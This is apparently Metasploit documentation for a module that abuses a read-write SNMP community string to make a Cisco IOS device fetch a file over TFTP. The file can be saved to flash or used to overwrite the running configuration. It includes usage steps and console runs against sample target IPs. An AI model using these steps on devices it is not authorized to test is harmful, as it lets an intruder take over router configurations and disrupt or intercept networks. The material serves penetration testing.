documentation/modules/auxiliary/scanner/snmp/cisco_upload_file.md
Cisco IOS devices can be configured to retrieve, via tftp, a file via SNMP.
This is a well documented
feature of IOS and many other networking devices, and is part of an administrator functionality.
This functionality can also be used to change their running configuration. This is documented here.
A read-write community string is required, as well as a tftp server (metasploit includes one).
The default functionality of the module will upload the file and it will be saved to flash:.
The Override_Config action will override the running configuration of the device and the file will not be saved.
Upload_File (Default Action)
snmp-server community private rwuse auxiliary/scanner/snmp/cisco_upload_fileset COMMUNITY [read-write snmp]set lhost [your IP address]set rhosts [ip]set source [file]runOverride_Config
snmp-server community private rwuse auxiliary/scanner/snmp/cisco_upload_fileset COMMUNITY [read-write snmp]set lhost [your IP address]set rhosts [ip]set source [file]set action [Override_Config]runThe SNMP community string to use which must be read-write. Default is public.
The location of the source file to be uploaded to the Cisco device.
msf > setg rhosts 2.2.2.2
rhosts => 2.2.2.2
msf > use auxiliary/scanner/snmp/cisco_upload_file
msf auxiliary(scanner/snmp/cisco_upload_file) > set source /tmp/backup_config2
source => /tmp/backup_config2
msf auxiliary(scanner/snmp/cisco_upload_file) > set community private
community => private
msf auxiliary(scanner/snmp/cisco_upload_file) > run
[*] Starting TFTP server...
[*] Copying file backup_config2 to 2.2.2.2...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed
`msf auxiliary(scanner/snmp/cisco_upload_file) > set COMMUNITY private`
`COMMUNITY => private`
`msf auxiliary(scanner/snmp/cisco_upload_file) > set LHOST 10.20.164.164`
`LHOST => 10.20.164.164`
`msf auxiliary(scanner/snmp/cisco_upload_file) > set action Override_Config`
`action => Override_Config`
`msf auxiliary(scanner/snmp/cisco_upload_file) > set rhosts 10.20.205.5`
`rhosts => 10.20.205.5`
`msf auxiliary(scanner/snmp/cisco_upload_file) > set source /root/Desktop/newconfig`
`source => /root/Desktop/newconfig`
`msf auxiliary(scanner/snmp/cisco_upload_file) > run`
`[*] Starting TFTP server...`
`[*] Copying file newconfig to 10.20.205.5...`
`[*] Scanned 1 of 1 hosts (100% complete)`
`[*] Providing some time for transfers to complete...`
`[*] Shutting down the TFTP service...`
`[*] Auxiliary module execution completed`